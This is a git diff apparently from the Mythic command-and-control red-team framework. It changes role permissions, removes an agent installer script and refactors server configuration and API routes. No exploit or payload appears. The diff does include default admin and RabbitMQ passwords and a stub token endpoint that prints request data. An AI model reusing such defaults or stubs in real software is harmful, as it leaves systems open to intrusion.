+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - wrapper_id
+ - wrapped_id
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - wrapped_id
+ - wrapper_id
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - wrapped_id
+ - wrapper_id
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - id
+ - wrapped_id
+ - wrapper_id
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - wrapped_id
+ - wrapper_id
+ filter: {}
diff --git a/hasura-docker/metadata/version.yaml b/hasura-docker/metadata/version.yaml
new file mode 100644
index 000000000..22817d2a9
--- /dev/null
+++ b/hasura-docker/metadata/version.yaml
@@ -0,0 +1 @@
+version: 2
diff --git a/install_agent_from_github.sh b/install_agent_from_github.sh
deleted file mode 100755
index c12793cd1..000000000
--- a/install_agent_from_github.sh
+++ /dev/null
@@ -1,253 +0,0 @@
-#! /bin/bash
-RED='\033[1;31m'
-NC='\033[0m' # No Color
-GREEN='\033[1;32m'
-BLUE='\033[1;34m'
-# stand up the docker services and build if needed, started them detached
-if ! which realpath > /dev/null; then
- apt-get install -y realpath
- if [ $? -ne 0 ]
- then
- echo -e "${RED}[-]${NC} Failed to install 'realpath'. Aborting"
- exit 1
- fi
-fi
-if ! which jq > /dev/null; then
- apt-get install -y jq
- if [ $? -ne 0 ]
- then
- echo -e "${RED}[-]${NC} Failed to install 'jq'. Aborting"
- exit 1
- fi
-fi
-if ! which git > /dev/null; then
- apt-get install -y git
- if [ $? -ne 0 ]
- then
- echo -e "${RED}[-]${NC} Failed to install 'git'. Aborting"
- exit 1
- fi
-fi
-# Clone the agent down to ./temp/
-echo -e "${BLUE}[*]${NC} Making 'temp' folder"
-mkdir temp
-echo -e "${BLUE}[*]${NC} Pulling down remote repo via git"
-if [ $# -eq 2 ]
-then
- echo -e "${BLUE}[*]${NC} Installing From Branch: $2"
- git clone --recurse-submodules --single-branch --branch $2 $1 temp
-else
- echo -e "${BLUE}[*]${NC} Installing From master"
- git clone --recurse-submodules --single-branch $1 temp
-fi
-if [ $? -ne 0 ]
-then
- echo -e "${RED}[-]${NC} Failed to pull down remote repo. Aborting"
- exit 1
-fi
-echo -e "${GREEN}[+]${NC} Successfully cloned down the remote repo!"
-
-# Parse configuration from config.json
-exclude_payload_type=`jq ".exclude_payload_type" "temp/config.json"`
-if [[ $? -ne 0 ]]
-then
- echo -e "${RED}[-]${NC} Failed to find exclude_payload_type"
- exit 1
-fi
-exclude_documentation_payload=`jq ".exclude_documentation_payload" "temp/config.json"`
-if [[ $? -ne 0 ]]
-then
- echo -e "${RED}[-]${NC} Failed to find exclude_documentation_payload"
- exit 1
-fi
-exclude_documentation_c2=`jq ".exclude_documentation_c2" "temp/config.json"`
-if [[ $? -ne 0 ]]
-then
- echo -e "${RED}[-]${NC} Failed to find exclude_documentation_c2"
- exit 1
-fi
-exclude_c2_profiles=`jq ".exclude_c2_profiles" "temp/config.json"`
-if [[ $? -ne 0 ]]
-then
- echo -e "${RED}[-]${NC} Failed to find exclude_c2_profiles"
- exit 1
-fi
-exclude_agent_icons=`jq ".exclude_agent_icons" "temp/config.json"`
-if [[ $? -ne 0 ]]
-then
- echo -e "${RED}[-]${NC} Failed to find exclude_agent_icons"
- exit 1
-fi
-
-if $exclude_payload_type
-then
- echo -e "${BLUE}[*]${NC} Skipping the Payload Type folder"
-else
- find ./temp/Payload_Type/ -maxdepth 1 -type d | grep -vE "Payload_Type/$" > ./temp/payloads.txt
- sed -i 's/\.\/temp\/Payload_Type\//\.\/Payload_Types\//g' ./temp/payloads.txt
- while read p; do
- type_name=`echo "$p" | rev | cut -d "/" -f 1 | rev`
- if [ -d "$p" ]; then
- rm -r $p > /dev/null;
- if [[ $? -eq 0 ]]
- then
- echo -e "${GREEN}[+]${NC} Removed previously installed Payload Type: $type_name"
- else
- echo -e "${RED}[-]${NC} Failed to remove previously installed Payload Type: $type_name"
- fi
- else
- echo -e "${BLUE}[*]${NC} No old Payload Type content for $type_name to remove."
- fi
- done < ./temp/payloads.txt
- echo -e "${BLUE}[*]${NC} Copying the Payload Type folder"
- if [ "$(ls ./temp/Payload_Type/)" ]; then
- cp -R ./temp/Payload_Type/* ./Payload_Types/
- find ./Payload_Types/ -name "payload_service.sh" -exec chmod +x {} \;
- echo -e "${GREEN}[+]${NC} Successfully copied the Payload Type folder"
- else
- echo -e "${BLUE}[+]${NC} Payload Type folder is empty"
- fi
-
-fi
-
-# Copy documentation for payload files
-if $exclude_documentation_payload
-then
- echo -e "${BLUE}[*]${NC} Skipping the Payload Type's documentation folder"
-else
- # Out with the old
- echo -e "${BLUE}[*]${NC} Copying the Payload Type's documentation folder"
- if [ "$(ls ./temp/documentation-payload/)" ]; then
- find ./temp/documentation-payload/ -maxdepth 1 -type d | grep -vE "documentation-payload/$" > ./temp/documentation.txt
- sed -i 's/\.\/temp\/documentation-payload\//\.\/documentation-docker\/content\/Agents\//g' ./temp/documentation.txt
- while read p; do
- type_name=`echo "$p" | rev | cut -d "/" -f 1 | rev`
- if [ -d "$p" ]; then
- rm -r $p > /dev/null;
- if [[ $? -eq 0 ]]
- then
- echo -e "${GREEN}[+]${NC} Removed previously installed documentation for: $type_name"
- else
- echo -e "${RED}[-]${NC} Failed to remove previously installed documentation for: $type_name"
- fi
- else
- echo -e "${BLUE}[*]${NC} No old documentation found for $type_name to remove."
- fi
- done < ./temp/documentation.txt
- # In with the new
- cp -R ./temp/documentation-payload/* ./documentation-docker/content/Agents/
- echo -e "${GREEN}[+]${NC} Successfully copied the Payload Type's documentation folder"
- else
- echo -e "${BLUE}[+]${NC} Payload Type's documentation folder is empty"
- fi
- echo -e "${BLUE}[*]${NC} Copying the Wrapper documentation folder"
- if [ -d "./temp/documentation-wrapper/" ] && [ "$(ls ./temp/documentation-wrapper/)" ]; then
- cp -R ./temp/documentation-wrapper/* ./documentation-docker/content/Wrappers/
- echo -e "${GREEN}[+]${NC} Successfully copied the Wrapper's documentation folder"
- else
- echo -e "${BLUE}[+]${NC} Payload Type's wrapper documentation folder is empty"
- fi
-fi
-
-# Copy C2 Profiles
-if $exclude_c2_profiles
-then
- echo -e "${BLUE}[*]${NC} Skipping the C2 Profile folder"
-else
- # Out with the old
- find ./temp/C2_Profiles/ -maxdepth 1 -type d | grep -vE "C2_Profiles/$" > ./temp/C2Profiles.txt
- sed -i 's/\.\/temp\/C2_Profiles\//\.\/C2_Profiles\//g' ./temp/C2Profiles.txt
- while read p; do
- type_name=`echo "$p" | rev | cut -d "/" -f 1 | rev`
- if [ -d "$p" ]; then
- rm -r $p > /dev/null;
- if [[ $? -eq 0 ]]
- then
- echo -e "${GREEN}[+]${NC} Removed previously installed C2 Profile: $type_name"
- else
- echo -e "${RED}[-]${NC} Failed to remove previously installed C2 Profile: $type_name"
- fi
- else
- echo -e "${BLUE}[*]${NC} No old C2 Profile for $type_name found to remove."
- fi
- done < ./temp/C2Profiles.txt
-
- # In with the new
- echo -e "${BLUE}[*]${NC} Copying the C2 Profile folder"
- if [ "$(ls ./temp/C2_Profiles/)" ]; then
- cp -R ./temp/C2_Profiles/* ./C2_Profiles/
- echo -e "${GREEN}[+]${NC} Successfully copied the C2 Profiles folder"
- else
- echo -e "${BLUE}[+]${NC} C2 Profiles' folder is empty"
- fi
-fi
-
-# Copy C2 Documentation
-if $exclude_documentation_c2
-then
- echo -e "${BLUE}[*]${NC} Skipping the C2 Profile's documentation folder"
-else
- # Out with the old
- find ./temp/documentation-c2/ -maxdepth 1 -type d | grep -vE "documentation-c2/$" > ./temp/c2documentation.txt
- sed -i 's/\.\/temp\/documentation-c2\//\.\/documentation-docker\/content\/C2 Profiles\//g' ./temp/c2documentation.txt
- while read p; do
- type_name=`echo "$p" | rev | cut -d "/" -f 1 | rev`
- if [ -d "$p" ]; then
- rm -r $p > /dev/null;
- if [[ $? -eq 0 ]]
- then
- echo -e "${GREEN}[+]${NC} Removed previously installed documentation for profile: $type_name"
- else
- echo -e "${RED}[-]${NC} Failed to remove previously installed documentation for profile: $type_name"
- fi
- else
- echo -e "${BLUE}[*]${NC} No old documentation found for $type_name to remove."
- fi
- done < ./temp/c2documentation.txt
-
- # In with the new
- echo -e "${BLUE}[*]${NC} Copying the C2 Profile's documentation folder"
- if [ "$(ls ./temp/documentation-c2/)" ]; then
- cp -R ./temp/documentation-c2/* "./documentation-docker/content/C2 Profiles/"
- echo -e "${GREEN}[+]${NC} Successfully copied the C2 Profiles documentation folder"
- else
- echo -e "${BLUE}[+]${NC} C2 Profiles documentation folder is empty"
- fi
-fi
-
-# Copy agent icons
-if $exclude_agent_icons
-then
- echo -e "${BLUE}[*]${NC} Skipping the Payload Type's agent icon folder"
-else
- # Out with the old
- find ./temp/agent_icons/ -type f -not -name ".keep" | grep -vE "agent_icons/$" > ./temp/agent_icons.txt
- sed -i 's/\.\/temp\/agent_icons\//\.\/mythic-docker\/app\/static\//g' ./temp/agent_icons.txt
- while read p; do
- type_name=`echo "$p" | rev | cut -d "/" -f 1 | rev`
- if [ -f "$p" ]; then
- rm $p > /dev/null;
- if [[ $? -eq 0 ]]
- then
- echo -e "${GREEN}[+]${NC} Removed icon: $type_name"
- else
- echo -e "${RED}[-]${NC} Failed to remove icon: $type_name"
- fi
- else
- echo -e "${BLUE}[*]${NC} No old agent icons found for $type_name to remove."
- fi
- done < ./temp/agent_icons.txt
-
- # In with the new
- echo -e "${BLUE}[*]${NC} Copying the Payload Type's agent icon folder"
- if [ "$(ls ./temp/agent_icons/)" ]; then
- cp -R ./temp/agent_icons/* ./mythic-docker/app/static/
- echo -e "${GREEN}[+]${NC} Successfully copied the Payload Type's icon folder"
- else
- echo -e "${BLUE}[+]${NC} Payload Type's agent icon folder is empty"
- fi
-fi
-echo -e "${BLUE}[*]${NC} Removing temp directory"
-rm -rf temp
-echo -e "${GREEN}[+]${NC} Successfully installed the remote agent!"
-echo -e "${BLUE}[+]${NC} Restart Mythic via ./start_mythic.sh for the new agent to be pulled in!"
diff --git a/mythic-cli b/mythic-cli
new file mode 100755
index 000000000..06792a662
Binary files /dev/null and b/mythic-cli differ
diff --git a/mythic-docker/Dockerfile b/mythic-docker/Dockerfile
index 148c05316..c009b7f43 100755
--- a/mythic-docker/Dockerfile
+++ b/mythic-docker/Dockerfile
@@ -1 +1 @@
-From itsafeaturemythic/mythic_server:0.0.1
\ No newline at end of file
+FROM itsafeaturemythic/mythic_server:0.0.4
\ No newline at end of file
diff --git a/mythic-docker/app/__init__.py b/mythic-docker/app/__init__.py
index 0ba016e69..7d650b2d4 100755
--- a/mythic-docker/app/__init__.py
+++ b/mythic-docker/app/__init__.py
@@ -1,65 +1,69 @@
from sanic import Sanic, log
-import uvloop
-from peewee_async import Manager
from peewee_asyncext import PooledPostgresqlExtDatabase
from sanic_jwt import Initialize
from ipaddress import ip_network
import ujson as json
-import asyncio
import logging
-import uuid
-import os
+from config import settings
+import sys
+
# --------------------------------------------
# --------------------------------------------
-config = json.loads(open("./config.json", "r").read())
-mythic_admin_user = config["mythic_admin_user"] if "mythic_admin_user" in config else "mythic_admin"
-mythic_admin_password = config["mythic_admin_password"] if "mythic_admin_password" in config else "mythic_password"
-default_operation_name = config["default_operation_name"] if "default_operation_name" in config else "Operation Chimera"
-listen_port = str(config["listen_port"]) if "listen_port" in config else "7443"
-ssl_cert_path = config["ssl_cert_path"] if "ssl_cert_path" in config else "./app/ssl/mythic-cert.pem"
-ssl_key_path = config["ssl_key_path"] if "ssl_key_path" in config else "./app/ssl/mythic-ssl.key"
-# only allow connections from these IPs to the /login and /register pages
-allowed_ip_blocks = config["allowed_ip_blocks"] if "allowed_ip_blocks" in config else ["0.0.0.0/0"]
-use_ssl = config["use_ssl"] if "use_ssl" in config else True
-server_header = config["server_header"] if "server_header" in config else "nginx 1.2"
-# grows indefinitely (0), or specify a max size in Bytes (1MB). If 0, will not rotate!
-log_size = config["web_log_size"] if "web_log_size" in config else 1024000
-# set to false for speed improvement, but no logs will be kept
-keep_logs = config["web_keep_logs"] if "web_keep_logs" in config else True
-# don't start the following c2_profile docker containers when starting mythic
-excluded_c2_profiles = config["excluded_c2_profiles"] if "excluded_c2_profiles" in config else []
-# don't start the following payload_type docker containers when starting mythic
-excluded_payload_types = config["excluded_payload_types"] if "excluded_payload_types" in config else []
-documentation_port = config["documentation_container_port"] if "documentation_container_port" in config else "8080"
-siem_log_name = config["siem_log_name"] if "siem_log_name" in config else ""
+mythic_admin_user = str(settings.get("ADMIN_USER", "mythic_admin"))
+mythic_admin_password = str(settings.get("ADMIN_PASSWORD", "mythic_password"))
+default_operation_name = str(settings.get("DEFAULT_OPERATION_NAME", "Operation Chimera"))
+nginx_port = str(settings.get("NGINX_PORT", 7443))
+listen_port = str(settings.get("SERVER_PORT", 17443))
+allowed_ip_blocks = settings.get("ALLOWED_IP_BLOCKS", "0.0.0.0/0").split(",")
+server_header = settings.get("SERVER_HEADER", "nginx 1.2")
+log_size = settings.get("WEB_LOG_SIZE", 1024000)
+keep_logs = bool(settings.get("WEB_KEEP_LOGS", True))
+siem_log_name = settings.get("SIEM_LOG_NAME", "")
+db_host = settings.get('POSTGRES_HOST', "127.0.0.1")
+db_port = settings.get('POSTGRES_PORT', 5432)
+db_name = settings.get('POSTGRES_DB', "mythic_db")
+db_user = settings.get('POSTGRES_USER', "mythic_user")
+db_pass = settings.get('POSTGRES_PASSWORD', None)
+if db_pass is None:
+ logging.exception("No MYTHIC_POSTGRES_PASSWORD in environment variables")
+ sys.exit(1)
+debugging_enabled = bool(settings.get("DEBUG", False))
+rabbitmq_host = settings.get("RABBITMQ_HOST", "127.0.0.1")
+rabbitmq_port = settings.get("RABBITMQ_PORT", 5672)
+rabbitmq_user = settings.get("RABBITMQ_USER", "mythic_user")
+rabbitmq_password = str(settings.get("RABBITMQ_PASSWORD", "mythic_password"))
+rabbitmq_vhost = settings.get("RABBITMQ_VHOST", "mythic_vhost")
+jwt_secret = settings.get("JWT_SECRET", None)
+if jwt_secret is None:
+ logging.exception(
+ "No MYTHIC_JWT_SECRET environment variable found")
+ sys.exit(1)
+redis_port = int(settings.get("REDIS_PORT", 6379))
# --------------------------------------------
# --------------------------------------------
-listen_ip = (
- "0.0.0.0" # IP to bind to for the server, 0.0.0.0 means all local IPv4 addresses
-)
-db_name = "mythic_db"
-db_user = "mythic_user"
-db_pass = os.environ['POSTGRES_PASSWORD']
-max_log_count = (
- 1 # if log_size > 0, rotate and make a max of max_log_count files to hold logs
-)
-# custom loop to pass to db manager
-uvloop.install()
-asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
-dbloop = uvloop.new_event_loop()
+# IP to bind to for the server, 0.0.0.0 means all local IPv4 addresses
+listen_ip = "0.0.0.0"
+# if log_size > 0, rotate and make a max of max_log_count files to hold logs
+max_log_count = 1
+valid_payload_container_version_bounds = [8, 8]
+valid_c2_container_version_bounds = [3, 3]
+valid_translation_container_version_bounds = [3, 3]
+valid_restful_scripting_bounds = [3, 3]
mythic_db = PooledPostgresqlExtDatabase(
db_name,
user=db_user,
password=db_pass,
- host="127.0.0.1",
+ host=db_host,
+ port=db_port,
max_connections=10000,
register_hstore=False,
autorollback=True,
autocommit=True
)
-#mythic_db.connect_async(loop=dbloop)
-db_objects = Manager(mythic_db, loop=dbloop)
+db_objects = None
+websocket_pool = None
+redis_pool = None
mythic_logging = log.LOGGING_CONFIG_DEFAULTS
@@ -69,13 +73,23 @@ def __init__(self, **kwargs):
logging.Formatter.__init__(self, kwargs)
def format(self, record):
- # print(record.__dict__)
- jsondata = {
- "type": "root_log",
- "time": record.asctime,
- "level": record.levelname,
- "message": record.message,
- }
+ #print(record.__dict__)
+ if "request" in record.__dict__:
+ jsondata = {
+ "type": "root_log",
+ "time": record.asctime,
+ "level": record.levelname,
+ "request": record.request,
+ "host": record.host,
+ "status": record.status,
+ }
+ else:
+ jsondata = {
+ "type": "root_log",
+ "time": record.asctime,
+ "level": record.levelname,
+ "message": record.message,
+ }
if record.stack_info:
jsondata["stack_info"] = record.stack_info
formattedjson = json.dumps(jsondata)
@@ -87,16 +101,25 @@ def __init__(self, **kwargs):
logging.Formatter.__init__(self, kwargs)
def format(self, record):
- # print(record.__dict__)
- jsondata = {
- "type": "access_log",
- "time": record.asctime,
- "level": record.levelname,
- "request": record.request,
- "host": record.host,
- "status": record.status,
- "return_size": record.byte,
- }
+ #print(record.__dict__)
+ if "request" in record.__dict__:
+ jsondata = {
+ "type": "access_log",
+ "time": record.asctime,
+ "level": record.levelname,
+ "request": record.request,
+ "host": record.host,
+ "status": record.status,
+ }
+ else:
+ jsondata = {
+ "type": "access_log",
+ "time": record.asctime,
+ "level": record.levelname,
+ "request": record.msg,
+ "status": 404,
+ "host": "Mythic"
+ }
if record.stack_info:
jsondata["stack_info"] = record.stack_info
formattedjson = json.dumps(jsondata)
@@ -127,68 +150,55 @@ def format(self, record):
mythic_logging["loggers"]["sanic.root"]["handlers"].append("rotating_root_log")
mythic = Sanic(__name__, strict_slashes=False, log_config=mythic_logging)
-mythic.config[
- "WTF_CSRF_SECRET_KEY"
-] = str(uuid.uuid4()) + str(uuid.uuid4())
+
mythic.config["SERVER_IP_ADDRESS"] = "127.0.0.1"
-mythic.config["SERVER_PORT"] = listen_port
+mythic.config["SERVER_PORT"] = nginx_port
+mythic.config["DB_HOST"] = db_host
+mythic.config["DB_PORT"] = db_port
mythic.config["DB_USER"] = db_user
mythic.config["DB_PASS"] = db_pass
mythic.config["DB_NAME"] = db_name
mythic.config[
"DB_POOL_CONNECT_STRING"
-] = "dbname='{}' user='{}' password='{}' host='127.0.0.1'".format(
- mythic.config["DB_NAME"], mythic.config["DB_USER"], mythic.config["DB_PASS"]
+] = "dbname='{}' user='{}' password='{}' host='{}' port='{}'".format(
+ mythic.config["DB_NAME"], mythic.config["DB_USER"], mythic.config["DB_PASS"], mythic.config["DB_HOST"],
+ mythic.config["DB_PORT"]
)
+# postgres://${POSTGRES_USER}:${POSTGRES_PASSWORD}@${POSTGRES_HOST}:${POSTGRES_PORT}/${POSTGRES_DB}
+mythic.config["DB_POOL_ASYNCPG_CONNECT_STRING"] = f"postgres://{mythic.config['DB_USER']}:{mythic.config['DB_PASS']}@{mythic.config['DB_HOST']}:{mythic.config['DB_PORT']}/{mythic.config['DB_NAME']}"
+mythic.config["RABBITMQ_HOST"] = rabbitmq_host
+mythic.config["RABBITMQ_PORT"] = rabbitmq_port
+mythic.config["RABBITMQ_USER"] = rabbitmq_user
+mythic.config["RABBITMQ_PASSWORD"] = rabbitmq_password
+mythic.config["RABBITMQ_VHOST"] = rabbitmq_vhost
mythic.config["API_VERSION"] = "1.4"
mythic.config["API_BASE"] = "/api/v" + mythic.config["API_VERSION"]
-mythic.config["REQUEST_MAX_SIZE"] = 1000000000
+mythic.config["REQUEST_MAX_SIZE"] = 500000000
mythic.config["REQUEST_TIMEOUT"] = 60
mythic.config["RESPONSE_TIMEOUT"] = 60
mythic.config["ALLOWED_IPS"] = [ip_network(ip) for ip in allowed_ip_blocks]
-links = {
- "server_ip": mythic.config["SERVER_IP_ADDRESS"],
- "server_port": mythic.config["SERVER_PORT"],
- "api_base": mythic.config["API_BASE"],
-}
+links = {"server_ip": mythic.config["SERVER_IP_ADDRESS"], "server_port": mythic.config["SERVER_PORT"],
+ "api_base": mythic.config["API_BASE"], "WEB_BASE": (
+ "https://"
+ + str(mythic.config["SERVER_IP_ADDRESS"])
+ + ":"
+ + str(mythic.config["SERVER_PORT"])
+ )}
-if use_ssl:
- links["WEB_BASE"] = (
- "https://"
- + mythic.config["SERVER_IP_ADDRESS"]
- + ":"
- + mythic.config["SERVER_PORT"]
- )
-else:
- links["WEB_BASE"] = (
- "http://"
- + mythic.config["SERVER_IP_ADDRESS"]
- + ":"
- + mythic.config["SERVER_PORT"]
- )
-links["DOCUMENTATION_PORT"] = documentation_port
-import app.routes
import app.api
+import app.routes
my_views = (
- ("/register", app.routes.routes.Register),
("/login", app.routes.routes.Login),
- ("/uirefresh", app.routes.routes.UIRefresh),
+ ("/uirefresh", app.routes.routes.UIRefresh)
)
-session = {}
-
-
-@mythic.middleware("request")
-async def add_session(request):
- request.ctx.session = session
-
-
Initialize(
mythic,
authentication_class=app.routes.authentication.MyAuthentication,
configuration_class=app.routes.authentication.MyConfig,
+ responses_class=app.routes.authentication.MyResponses,
cookie_set=True,
cookie_strict=False,
cookie_access_token_name="access_token",
@@ -197,7 +207,7 @@ async def add_session(request):
scopes_enabled=True,
add_scopes_to_payload=app.routes.authentication.add_scopes_to_payload,
scopes_name="scope",
- secret=str(uuid.uuid4()) + str(uuid.uuid4()),
+ secret=jwt_secret,
url_prefix="/",
class_views=my_views,
path_to_authenticate="/auth",
@@ -206,7 +216,5 @@ async def add_session(request):
path_to_refresh="/refresh",
refresh_token_enabled=True,
expiration_delta=28800, # initial token expiration time, 8hrs
- store_refresh_token=app.routes.authentication.store_refresh_token,
- retrieve_refresh_token=app.routes.authentication.retrieve_refresh_token,
login_redirect_url="/login",
)
diff --git a/mythic-docker/app/api/analytics_api.py b/mythic-docker/app/api/analytics_api.py
index 87488b776..84e577915 100755
--- a/mythic-docker/app/api/analytics_api.py
+++ b/mythic-docker/app/api/analytics_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from app.database_models.model import Callback, Task, TaskArtifact, FileMeta
from sanic.response import json, file
from sanic_jwt.decorators import scoped, inject_user
@@ -21,8 +22,7 @@ async def analytics_command_frequency_api(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json(
{"status": "error", "error": "failed to find operation or payloads"}
@@ -32,8 +32,7 @@ async def analytics_command_frequency_api(request, user):
data = request.json
if "order" in data and data["order"] in ["operator", "command"]:
request_format["order"] = data["order"]
- query = await db_model.task_query()
- tasks = await db_objects.execute(query.where(Callback.operation == operation))
+ tasks = await app.db_objects.execute(db_model.task_query.where(Callback.operation == operation))
output = {}
if request_format["order"] == "operator":
# {"mythic_admin": {"apfell": {"shell": 2, "ls": 5}, "viper": {"shell": 1} } }
@@ -87,11 +86,9 @@ async def analytics_callback_analysis_api(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.callback_query()
- callbacks = await db_objects.execute(
- query.where(Callback.operation == operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ callbacks = await app.db_objects.execute(
+ db_model.callback_query.where(Callback.operation == operation)
)
except Exception as e:
return json({"status": "error", "error": "failed to get artifact templates"})
@@ -128,8 +125,7 @@ async def analytics_artifact_overview_api(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "failed to get current operation"})
output = {
@@ -145,19 +141,17 @@ async def analytics_artifact_overview_api(request, user):
},
}
# totals for each artifact type (15 process creates, 5 file writes)
- query = await db_model.callback_query()
- callbacks = query.where(Callback.operation == operation).select(Callback.id)
- task_query = await db_model.taskartifact_query()
- artifact_tasks = await db_objects.execute(
- task_query.where(Task.callback.in_(callbacks))
+ callbacks = db_model.callback_query.where(Callback.operation == operation).select(Callback.id)
+ artifact_tasks = await app.db_objects.execute(
+ db_model.taskartifact_query.where(Task.callback.in_(callbacks))
)
- manual_tasks = await db_objects.execute(
- task_query.where(
+ manual_tasks = await app.db_objects.execute(
+ db_model.taskartifact_query.where(
(TaskArtifact.operation == operation) & (TaskArtifact.task == None)
)
)
for t in artifact_tasks:
- artifact_name = bytes(t.artifact.name).decode()
+ artifact_name = t.artifact.name
if artifact_name not in output["artifact_counts"]:
output["artifact_counts"][artifact_name] = {
"agent_reported": 0,
@@ -176,7 +170,7 @@ async def analytics_artifact_overview_api(request, user):
output["artifact_counts"][artifact_name]["manual"] += 1
output["artifact_counts"]["total_count"] += 1
for t in manual_tasks:
- artifact_name = bytes(t.artifact.name).decode()
+ artifact_name = t.artifact.name
if artifact_name not in output["artifact_counts"]:
output["artifact_counts"][artifact_name] = {
"agent_reported": 0,
@@ -185,8 +179,7 @@ async def analytics_artifact_overview_api(request, user):
output["artifact_counts"][artifact_name]["manual"] += 1
output["artifact_counts"]["total_count"] += 1
- query = await db_model.filemeta_query()
- files = await db_objects.execute(query.where(FileMeta.operation == operation))
+ files = await app.db_objects.execute(db_model.filemeta_query.where(FileMeta.operation == operation))
for f in files:
if f.is_screenshot:
if f.operator.username not in output["files"]["screenshots"]["operators"]:
@@ -239,14 +232,12 @@ async def analytics_task_frequency_api(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json(
{"status": "error", "error": "failed to find operation"}
)
- query = await db_model.task_query()
- tasks = await db_objects.execute(query.where(Callback.operation == operation))
+ tasks = await app.db_objects.execute(db_model.task_query.where(Callback.operation == operation))
output = []
for t in tasks:
output.append({"date": t.status_timestamp_preprocessing.strftime("%m/%d/%Y %H:%M:%S"),
@@ -268,14 +259,12 @@ async def analytics_event_frequency_api(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json(
{"status": "error", "error": "failed to find operation"}
)
- query = await db_model.operationeventlog_query()
- events = await db_objects.execute(query.where(db_model.OperationEventLog.operation == operation))
+ events = await app.db_objects.execute(db_model.operationeventlog_query.where(db_model.OperationEventLog.operation == operation))
output = {"Deleted Events": 0, "Warning Events": 0, "Mythic Events": 0, "Resolved Events": 0}
operator_specific = {"Mythic Events": {"warning": 0, "info": 0}}
timings = []
diff --git a/mythic-docker/app/api/apitokens_api.py b/mythic-docker/app/api/apitokens_api.py
index 13509687a..126f6f9dd 100755
--- a/mythic-docker/app/api/apitokens_api.py
+++ b/mythic-docker/app/api/apitokens_api.py
@@ -1,10 +1,23 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic_jwt.decorators import inject_user, scoped
import app.database_models.model as db_model
from sanic.response import json
from sanic.exceptions import abort
+@mythic.route(mythic.config["API_BASE"] + "/generate_apitoken", methods=["POST"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_c2", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def generate_apitoken(request, user):
+ print(user)
+ print(request)
+ print(request.json)
+ return json({"tokenValue": "blah"})
+
+
# ------- API Tokens FUNCTION -----------------
@mythic.route(mythic.config["API_BASE"] + "/apitokens", methods=["GET"])
@inject_user()
@@ -18,11 +31,9 @@ async def get_apitokens(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.apitokens_query()
- tokens = await db_objects.execute(
- query.where(db_model.APITokens.operator == operator)
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ tokens = await app.db_objects.execute(
+ db_model.apitokens_query.where(db_model.APITokens.operator == operator)
)
return json({"status": "success", "apitokens": [t.to_json() for t in tokens]})
except Exception as e:
@@ -53,8 +64,7 @@ async def create_apitokens(request, user):
}
)
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
token = await request.app.auth.generate_access_token(
{
"user_id": user["user_id"],
@@ -63,7 +73,7 @@ async def create_apitokens(request, user):
}
)
try:
- apitoken = await db_objects.create(
+ apitoken = await app.db_objects.create(
db_model.APITokens,
token_type=data["token_type"],
token_value=token,
@@ -94,14 +104,12 @@ async def modify_apitokens(request, user, tid):
except Exception as e:
return json({"status": "error", "error": "failed to parse json"})
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.apitokens_query()
- apitoken = await db_objects.get(query, id=tid, operator=operator)
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ apitoken = await app.db_objects.get(db_model.apitokens_query, id=tid, operator=operator)
try:
if "active" in data and data["active"] != apitoken.active:
apitoken.active = data["active"]
- await db_objects.update(apitoken)
+ await app.db_objects.update(apitoken)
return json({"status": "success", **apitoken.to_json()})
except Exception as e:
print(str(e))
@@ -123,12 +131,10 @@ async def remove_apitokens(request, user, tid):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.apitokens_query()
- apitoken = await db_objects.get(query, id=tid, operator=operator)
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ apitoken = await app.db_objects.get(db_model.apitokens_query, id=tid, operator=operator)
apitoken_json = apitoken.to_json()
- await db_objects.delete(apitoken)
+ await app.db_objects.delete(apitoken)
return json({"status": "success", **apitoken_json})
except Exception as e:
print(str(e))
diff --git a/mythic-docker/app/api/artifacts_api.py b/mythic-docker/app/api/artifacts_api.py
index 3bd017df9..86215f087 100755
--- a/mythic-docker/app/api/artifacts_api.py
+++ b/mythic-docker/app/api/artifacts_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import Artifact, Task, Callback, TaskArtifact
